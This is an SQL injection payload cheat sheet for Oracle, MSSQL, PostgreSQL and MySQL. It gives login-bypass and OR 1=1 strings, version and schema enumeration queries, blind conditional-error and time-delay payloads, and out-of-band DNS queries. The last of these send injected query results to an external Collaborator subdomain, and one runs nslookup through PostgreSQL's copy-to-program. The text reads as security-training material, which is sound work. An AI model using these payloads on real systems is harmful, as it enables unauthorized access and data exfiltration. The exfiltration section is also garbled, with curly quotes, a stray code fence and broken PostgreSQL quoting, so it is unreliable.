Basic SQL Attack

This pulls hidden information from that category https://insecure-website.com/products?category=Gifts'--

This pulls information from categories the attacker does not know about https://insecure-website.com/products?category=Gifts'+OR+1=1--

This will log an attacker in by removing the password from the query SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

Commands

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle:
'foo'||'bar'

Microsoft: 
'foo'+'bar'

PostgreSQL: 
'foo'||'bar'

MySQL: 
'foo' 'bar' [Note the space between the two strings]
CONCAT('foo','bar')

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba.

Oracle:
SUBSTR('foobar', 4, 2)

Microsoft:
SUBSTRING('foobar', 4, 2)

PostgreSQL:
SUBSTRING('foobar', 4, 2)

MySQL:
SUBSTRING('foobar', 4, 2)

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle:
--comment

Microsoft:
--comment
/*comment*/

PostgreSQL:
--comment
/*comment*/

MySQL:
#comment
-- comment [Note the space after the double dash]
/*comment*/

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle:
SELECT banner FROM v$version
SELECT version FROM v$instance

Microsoft:
SELECT @@version

PostgreSQL:
SELECT version()

MySQL:
SELECT @@version

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle:
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual

Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END

MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle
Does not support batched queries.

Microsoft
QUERY-1-HERE; QUERY-2-HERE

PostgreSQL
QUERY-1-HERE; QUERY-2-HERE

MySQL
QUERY-1-HERE; QUERY-2-HERE

Note

With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle
dbms_pipe.receive_message(('a'),10)

Microsoft
WAITFOR DELAY '0:0:10'

PostgreSQL
SELECT pg_sleep(10)

MySQL
SELECT sleep(10)

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL
SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

Oracle The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL

The following techniques work on Windows only:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data. ``` Oracle SELECT extractvalue(xmltype(‘<?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://’||(SELECT YOUR-QUERY-HERE)||’.BURP-COLLABORATOR-SUBDOMAIN/”> %remote;]>’),’/l’) FROM dual

Microsoft declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec(‘master..xp_dirtree “//’+@p+’.BURP-COLLABORATOR-SUBDOMAIN/a”’)

PostgreSQL create OR replace function f() returns void as \(declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END;\) language plpgsql security definer; SELECT f();

MySQL The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE ‘\\BURP-COLLABORATOR-SUBDOMAIN\a’